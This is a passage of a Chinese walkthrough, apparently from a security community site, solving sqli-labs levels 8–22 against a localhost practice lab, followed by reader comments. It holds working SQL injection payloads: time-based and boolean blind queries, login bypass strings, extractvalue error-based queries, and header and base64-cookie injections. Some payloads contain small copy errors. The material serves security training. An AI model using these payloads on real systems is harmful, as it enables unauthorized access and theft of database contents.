这里将mysql报错的语句进行了注释，那么这一关报错注入就不行了。

http://127.0.0.1/sqllib/Less-8/?id=1' union Select 1,count(),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)2))a from information_schema.columns group by a--+

如果报错注入可以使用的话是可以直接返回user()的，但是这里没有返回。

其他的payload参考less5直接进行注入，这里就不一一的演示了。

Less-9

本关我们从标题就可以看到 《基于时间-单引号》，所以很明显的这关要我们利用延时注入进行，同时id参数进行的是 ’
的处理。这里我们大致的将延时注入的方法演示一次。

这里用sleep()函数。

这里因为我们利用的是时间的延迟，贴图就没有意义了，这里只写payload了：（正确的时候直接返回，不正确的时候等待5秒钟，只贴正确的）

猜测数据库：

http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+,1,1))=116,1,sleep(5))--+)

说明第一位是s（ascii码是115）

http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),2,1))=101,1,sleep(5))--+

说明第一位是e（ascii码是101）

....

以此类推，我们知道了数据库名字是security

猜测security的数据表：

http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+

猜测第一个数据表的第一位是e,...依次类推，得到emails

http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+

猜测第二个数据表的第一位是r,...依次类推，得到referers

...

再以此类推，我们可以得到所有的数据表emails,referers,uagents,users

猜测users表的列：

http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+

猜测users表的第一个列的第一个字符是i，

以此类推，我们得到列名是id，username，password

猜测username的值：

http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+

猜测username的第一行的第一位

以此类推，我们得到数据库username，password的所有内容

以上的过程就是我们利用sleep()函数注入的整个过程，当然了可以离开BENCHMARK()函数进行注入，这里可以自行进行测试。我们这里就不进行演示了。

Less-10

本关我们从标题就可以看到 《基于时间-双引号》，所以很明显的这关要我们利用延时注入进行，同时id参数进行的是 "
的处理。和less9的区别就在于单引号（'）变成了（"）,我们这里给出一个payload示例，其他的请参考less-9

猜测数据库：

http://127.0.0.1/sqllib/Less-10/?id=1"and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+,1,1))=115,1,sleep(5))--+)

其余的示例请参考less9，这里就不演示了

Less-11

从这一关开始我们开始进入到post注入的世界了，什么是post呢？就是数据从客户端提交到服务器端，例如我们在登录过程中，输入用户名和密码，用户名和密码以表单的

例如我们在less11中我们输入正确的用户名和密码后，显示

那我们思考下如何进行注入呢？

在post过程中，我们输入的用户名和密码最后在后台处理的过程中依旧会形成前面所见到的sql语句，那么我们是否可以像get型的一样构造我们想要的payload呢？

当我们输入username：admin'#

 Password:ddd(随便输)

显示错误了，可以从错误中分析到程序对参数进行单引号的处理。

这里我们可以在输入框输入万能密码来尝试一下。

这里username输入：admin'or'1'='1#，密码随意。

返回的正确的结果，那么原因是什么呢？我们在background-1中已经其实提到了，逻辑运算的部分中已经讲解了原理。

当我们提交username和password后，后台形成的sql语句为

@$sql="SELECT username, password FROM users WHERE username='admin'or'1'='1# and password='$passwd' LIMIT 0,1";

在#以后的内容就被注释掉，前面的内容因为or
1=1恒成立，所以语句就成立，我们此时以admin的用户登录。那么接下来我们尝试用get注入中用到的其他的语句代替or 1=1 进行注入。

这里我们用union注入进行尝试：

Username：1admin'union select 1,database()#

passwd=1（任意密码）

可以看到显示了database为security，这是我们比较常用的手法。

还可以利用其他的方法进行注入。上述在get型注入中提到的语句都可以使用。

当然了，还可以利用其他的方法进行注入，我们在后面的几个关卡中会给出示例的 payload。

Less-12

本关和less11是类似的，只是在id 的参数的处理上有一定的不同

当输入username：admin"

 Password: (随便)

报错后的结果为：

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'qweqwe") LIMIT 0,1' at line 1

关注到上述的红色部分，也就是 ") 的部分，我们可以得知这里的id进行了 ("id")的处理，所以我们依旧可以用万能密码进行尝试。

Username： admin")

Password: (随便输)

从上图中可以看到我们以admin登录了。

这里注意用admin")or 1=1#方式登录的话，居然是Dumb登录，这里解释一下为什么不是admin登录。其实是因为sql执行的优先级的问题。

Less-13

本关我们输入username：admin'

 Password：（随便输）

进行测试

可以看到报错了，错误为：

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1') LIMIT 0,1' at line 1

可以看到上述中红色的字体，也就是 ') 我们可以知道程序对id进行了 ') 的处理。

我们可以明显的看到本关不会显示你的登录信息了，只能给你一个是否登录成功的返回数据。

那我们这里可以用下布尔类型的盲注。

猜测数据库第一位

uname=admin')and left(database(),1)>'a'#&passwd=1&submit=Submit

登录成功，就这样可以挨着对每一位进行测试，less5中我们已经讲到了这个过程了，这里就不重复了。

这里提一个小的建议：在按位进行猜解的过程中，可以利用二分法，可以有效的降低尝试次数。

其他的过程就不演示了，请自行进行构造进行测试。

Less-14

本关我们直接进行测试，输入username：admin"

 Pasword:(随意)

可以看到报错了，那么我们知道了id进行了 " 的操作。

这里和less13一样，主要是熟悉利用盲注。

简单列一下payload：

uname=admin"and left(database(),1)>'a'#&passwd=1&submit=Submit

可以登录成功。

在利用一下报错注入

uname=admin"and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&passwd=1&submit=Submit

可以看到报错了，显示版本信息。

Less-15

本关没有错误提示，那么我们只能靠猜测进行注入。这里我直接从源代码中看到了sql语句

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

那这里对id进行 ' id' 的处理。

本关我们利用延时注入进行。

猜测数据库名第一位：

uname=admin'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit

正确的时候可以直接登录，不正确的时候延时5秒。

其他的payload自行构造。

Less-16

本关我们的处理方法和less15是一样的，同样的使用延时注入的方法进行解决。这里直接从源代码中看到对id进行（”id”)的处理。（请自行测试）

提交的payload：

uname=admin")and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit

正确的时候可以直接登录，不正确的时候延时5秒。

其他的payload自行构造。

Background-4 增删改函数介绍

在对数据进行处理上，我们经常用到的是增删查改。接下来我们讲解一下mysql 的增删改。查就是我们上述总用到的select，这里就介绍了。

增加一行数据。Insert

简单举例

insert into users values('16','lcamry','lcamry');

删除

· 2.删数据:

delete from 表名;

delete from 表名 where id=1;

· 删除结构：

删数据库：drop database 数据库名;

删除表：drop table 表名;

删除表中的列:alter table 表名 drop column 列名;

简单举例：

delete from users where id=16

修改

· 修改所有：updata 表名 set 列名='新的值，非数字加单引号'；

· 带条件的修改：updata 表名 set 列名='新的值，非数字加单引号' where id=6;

update users set username='tt' where id=15

Less-17

本关我们可以看到是一个修改密码的过程，利用的是update语句，与在用select时是一样的，我们仅需要将原先的闭合，构造自己的payload。

尝试报错

Username：admin

Password：1’

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin'' at line 1

可以看到 admin’’ 说明在对密码的处理过程中使用的是 ’’ 。

接下来利用盲注进行注入。

这里首先演示一下报错类型的盲注。

uname=admin&passwd=11'and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&submit=Submit

将@@version换成你的子句就可以进行其他的注入了。

当然了，也可以用延时注入，也可以看到时间的延迟的明显效果

uname=admin&passwd=11'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&submit=Submit

其他的方式这里就不演示了。自行思考呦！~

提问：在看源代码的时候，先进行一次select语句，那为什么我们不从username处进行构造呢？

其实我们可以在源代码中看到一个函数。check_input()函数。

这里我们介绍几个函数你就明白了。

★addslashes()

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是：

· 单引号（'）

· 双引号（"）

· 反斜杠（\）

· NULL

提示：该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

注释：默认地，PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes()，因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

语法：addslashes(string)

参数	描述
string	必需。规定要转义的字符串。
返回值：	返回已转义的字符串。
PHP 版本：	4+

★stripslashes()

函数删除由 addslashes() 函数添加的反斜杠。

★mysql_real_escape_string()

函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响：

· \x00

· \n

· \r

· \

. '

. "

· \x1a

如果成功，则该函数返回被转义的字符串。如果失败，则返回 false。

语法：mysql_real_escape_string(string,connection)

参数	描述
string	必需。规定要转义的字符串。
connection	可选。规定 MySQL 连接。如果未规定，则使用上一个连接。

说明：本函数将 string 中的特殊字符转义，并考虑到连接的当前字符集，因此可以安全用于 mysql_query()。

在我们less17的check_input()中，对username进行各种转义的处理，所以此处不能使用username进行注入。

Background-5 HTTP头部介绍

在利用抓包工具进行抓包的时候，我们能看到很多的项，下面详细讲解每一项。

HTTP头部详解

1、 Accept：告诉WEB服务器自己接受什么介质类型，/ 表示任何类型，type/* 表示该类型下的所有子类型，type/sub-type。

2、 Accept-Charset： 浏览器申明自己接收的字符集

Accept-Encoding： 浏览器申明自己接收的编码方法，通常指定压缩方法，是否支持压缩，支持什么压缩方法（gzip，deflate）

Accept-Language： ：浏览器申明自己接收的语言

语言跟字符集的区别：中文是语言，中文有多种字符集，比如big5，gb2312，gbk等等。

3、 Accept-Ranges：WEB服务器表明自己是否接受获取其某个实体的一部分（比如文件的一部分）的请求。bytes：表示接受，none：表示不接受。

4、 Age：当代理服务器用自己缓存的实体去响应请求时，用该头部表明该实体从产生到现在经过多长时间了。

5、 Authorization：当客户端接收到来自WEB服务器的 WWW-Authenticate 响应时，用该头部来回应自己的身份验证信息给WEB服务器。

6、 Cache-Control：请求：no-cache（不要缓存的实体，要求现在从WEB服务器去取）

max-age：（只接受 Age 值小于 max-age 值，并且没有过期的对象）

max-stale：（可以接受过去的对象，但是过期时间必须小于 max-stale 值）

min-fresh：（接受其新鲜生命期大于其当前 Age 跟 min-fresh 值之和的缓存对象）

响应：public(可以用 Cached 内容回应任何用户)

private（只能用缓存内容回应先前请求该内容的那个用户）

no-cache（可以缓存，但是只有在跟WEB服务器验证了其有效后，才能返回给客户端）

max-age：（本响应包含的对象的过期时间）

ALL: no-store（不允许缓存）

7、 Connection：请求：close（告诉WEB服务器或者代理服务器，在完成本次请求的响应后，断开连接，不要等待本次连接的后续请求了）。

keepalive（告诉WEB服务器或者代理服务器，在完成本次请求的响应后，保持连接，等待本次连接的后续请求）。

响应：close（连接已经关闭）。

keepalive（连接保持着，在等待本次连接的后续请求）。

Keep-Alive：如果浏览器请求保持连接，则该头部表明希望 WEB 服务器保持连接多长时间（秒）。例如：Keep-Alive：300

8、 Content-Encoding：WEB服务器表明自己使用了什么压缩方法（gzip，deflate）压缩响应中的对象。例如：Content-Encoding：gzip

9、Content-Language：WEB 服务器告诉浏览器自己响应的对象的语言。

10、Content-Length： WEB 服务器告诉浏览器自己响应的对象的长度。例如：Content-Length: 26012

11、Content-Range： WEB 服务器表明该响应包含的部分对象为整个对象的哪个部分。例如：Content-Range: bytes 21010-47021/47022

12、Content-Type： WEB 服务器告诉浏览器自己响应的对象的类型。例如：Content-Type：application/xml

13、 ETag：就是一个对象（比如URL）的标志值，就一个对象而言，比如一个 html 文件，如果被修改了，其 Etag 也会别修改，所以ETag 的作用跟 Last-Modified 的作用差不多，主要供 WEB 服务器判断一个对象是否改变了。比如前一次请求某个 html 文件时，获得了其 ETag，当这次又请求这个文件时，浏览器就会把先前获得的 ETag 值发送给WEB 服务器，然后 WEB 服务器会把这个 ETag 跟该文件的当前 ETag 进行对比，然后就知道这个文件有没有改变了。

14、 Expired：WEB服务器表明该实体将在什么时候过期，对于过期了的对象，只有在跟WEB服务器验证了其有效性后，才能用来响应客户请求。是 HTTP/1.0 的头部。例如：Expires：Sat, 23 May 2009 10:02:12 GMT

15、 Host：客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号。例如：Host：rss.sina.com.cn

16、 If-Match：如果对象的 ETag 没有改变，其实也就意味著对象没有改变，才执行请求的动作。

17、If-None-Match：如果对象的 ETag 改变了，其实也就意味著对象也改变了，才执行请求的动作。

18、 If-Modified-Since：如果请求的对象在该头部指定的时间之后修改了，才执行请求的动作（比如返回对象），否则返回代码304，告诉浏览器该对象没有修改。例如：If-Modified-Since：Thu, 10 Apr 2008 09:14:42 GMT

19、If-Unmodified-Since：如果请求的对象在该头部指定的时间之后没修改过，才执行请求的动作（比如返回对象）。

20、 If-Range：浏览器告诉 WEB
服务器，如果我请求的对象没有改变，就把我缺少的部分给我，如果对象改变了，就把整个对象给我。浏览器通过发送请求对象的 ETag 或者
自己所知道的最后修改时间给 WEB 服务器，让其判断对象是否改变了。总是跟 Range 头部一起使用。

21、 Last-Modified：WEB 服务器认为对象的最后修改时间，比如文件的最后修改时间，动态页面的最后产生时间等等。例如：Last-Modified：Tue, 06 May 2008 02:42:43 GMT

22、 Location：WEB 服务器告诉浏览器，试图访问的对象已经被移到别的位置了，到该头部指定的位置去取。例如：Location：http://i0.sinaimg.cn/dy/deco/2008/0528/sinahome_0803_ws_005_text_0.gif

23、 Pramga：主要使用 Pramga: no-cache，相当于 Cache-Control： no-cache。例如：Pragma：no-cache

24、 Proxy-Authenticate：
代理服务器响应浏览器，要求其提供代理身份验证信息。Proxy-Authorization：浏览器响应代理服务器的身份验证请求，提供自己的身份信息。

25、 Range：浏览器（比如 Flashget 多线程下载时）告诉 WEB 服务器自己想取对象的哪部分。例如：Range: bytes=1173546-

26、 Referer：浏览器向 WEB 服务器表明自己是从哪个 网页/URL 获得/点击 当前请求中的网址/URL。例如：Referer：http://www.sina.com/

27、 Server: WEB 服务器表明自己是什么软件及版本等信息。例如：Server：Apache/2.0.61 (Unix)

28、 User-Agent: 浏览器表明自己的身份（是哪种浏览器）。例如：User-Agent：Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.14) Gecko/20080404 Firefox/2、0、0、14

29、 Transfer-Encoding: WEB
服务器表明自己对本响应消息体（不是消息体里面的对象）作了怎样的编码，比如是否分块（chunked）。例如：Transfer-Encoding: chunked

30、 Vary: WEB服务器用该头部的内容告诉 Cache
服务器，在什么条件下才能用本响应所返回的对象响应后续的请求。假如源WEB服务器在接到第一个请求消息时，其响应消息的头部为：Content- Encoding: gzip; Vary: Content-Encoding那么 Cache 服务器会分析后续请求消息的头部，检查其 Accept-Encoding，是否跟先前响应的 Vary
头部值一致，即是否使用相同的内容编码方法，这样就可以防止 Cache 服务器用自己 Cache
里面压缩后的实体响应给不具备解压能力的浏览器。例如：Vary：Accept-Encoding

31、 Via： 列出从客户端到 OCS
或者相反方向的响应经过了哪些代理服务器，他们用什么协议（和版本）发送的请求。当客户端请求到达第一个代理服务器时，该服务器会在自己发出的请求里面添加 Via 头部，并填上自己的相关信息，当下一个代理服务器收到第一个代理服务器的请求时，会在自己发出的请求里面复制前一个代理服务器的请求的Via
头部，并把自己的相关信息加到后面，以此类推，当 OCS 收到最后一个代理服务器的请求时，检查 Via 头部，就知道该请求所经过的路由。例如：Via：1.0 236.D0707195.sina.com.cn:80 (squid/2.6.STABLE13)

推荐使用工具

在抓包和改包的过程中，我们推荐几个相关工具

live http headers(firefox插件)

Tamper data(firefox插件)

Less-18

本关我们这里从源代码直接了解到

对uname和passwd进行了check_input()函数的处理，所以我们在输入uname和passwd上进行注入是不行的，但是在代码中，我们看到了insert()

$insert="INSERT INTO `security.uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

将useragent和ip插入到数据库中，那么我们是不是可以用这个来进行注入呢？

Ip地址我们这里修改不是很方便，但是useragent修改较为方便，我们从useragent入手

我们利用live http headers进行抓包改包

从上图可以看到，修改user-agent后的在前台显示user-agent已经为修改后的了。

那我们将user-agent修改为注入语句呢？

将user-agent修改为'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1

可以看到我们已经得到了版本号。

其余请自行发散思维思考哟！

Less-19

从源代码中我们可以看到我们获取到的是HTTP_REFERER

那和less18是基本一致的，我们从referer进行修改。

还是像less18一样，我们只给出一个示例

将referer修改为'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and '1'='1

可以看到mysql的路径了。

请发散思维思考其他的呦。

Less-20

从源代码中我们可以看到cookie从username中获得值后，当再次刷新时，会从cookie中读取username，然后进行查询。

登录成功后，我们修改cookie，再次刷新时，这时候sql语句就会被修改了。

我们使用temper data进行演示。

如上图所示，我们修改cookie为

uname=admin1'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#

可以看到报错了，我们得到了mysql 的路径。

其他的注入方法自行测试呦！

Less-21

本关对cookie进行了base64的处理，其他的处理流程和less20是一样的。

我们这里可以利用less20同样的方法，但是需要将payload进行base64编码处理（注意这里对uname进行了（'uname'）的处理）

Cookie：

uname=YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpKSM=

可以从上图看到我们得到了mysql的路径

其他的如法炮制，自行思考呦！

Less-22

本关和less20、less21是一致的，我们可以从源代码中看到这里对uname进行了"uname"的处理，可以构造payload：

admin1"and extractvalue(1,concat(0x7e,(select database()),0x7e))#

Payload进行base64编码后，修改cookie再进行提交

可以看到数据库名为security

其他的payload请自行发散思维进行构造。

上一篇：先知平台招聘安全运营 下一篇：ES6中的模板字符串和新XSS P...
1. 12 条回复


stardustsky 2016-11-12 07:35:37

可以的，很6，期待后续

0 回复Ta


笑然 2016-11-12 12:41:46

下一篇下周放出

0 回复Ta


hades 2016-11-12 16:14:10

楼主下一个系列我已经帮你想好了 BWAPP

0 回复Ta


先矢口 2016-11-13 14:52:57

很不错的说。

0 回复Ta


lcamry 2016-11-14 02:06:48

dvwa的已经写完了，2015年的版本。bwapp没写过

0 回复Ta


hades 2016-11-14 03:50:36

DVWA太多同质的，看如何差异化，BWAPP现在网上只有一部分出来，没有完整版，你可以了解了解

0 回复Ta


大亮 2016-12-26 13:48:52

鞋的很不错，希望楼主能讲4篇文章整合成一个文档发不出来

0 回复Ta


hades 2016-12-28 01:53:41

好滴

0 回复Ta


lcamry 2017-01-06 03:48:51

有pdf版本。http://files.cnblogs.com/files/lcamry/mysql-injection.pdf。可以下载后然后挂在先知。顺便私信我一下，我把博客的下载地址也更新到先知

0 回复Ta


hades 2017-01-09 02:53:06

收到ing 辛苦了

0 回复Ta


anivia 2017-07-05 16:16:39

不错 很基础。。

0 回复Ta

Y4er 2018-10-19 18:47:21

今天做sqlli-labs发现有点小问题

Less-5 Double Query- Single Quotes- String
这关作者的意思应该是用聚合函数和分组语句来进行报错

payload

```
http://localhost/sqli-labs/Less-5/?id=1' union select count(*),count(*), concat((select database()), floor(rand(0)*2)) as a
```

■■■■■■■■■

```
http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat((select database()), floor(rand(0)*2)) as a from in
```

当然，盲注也可以

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板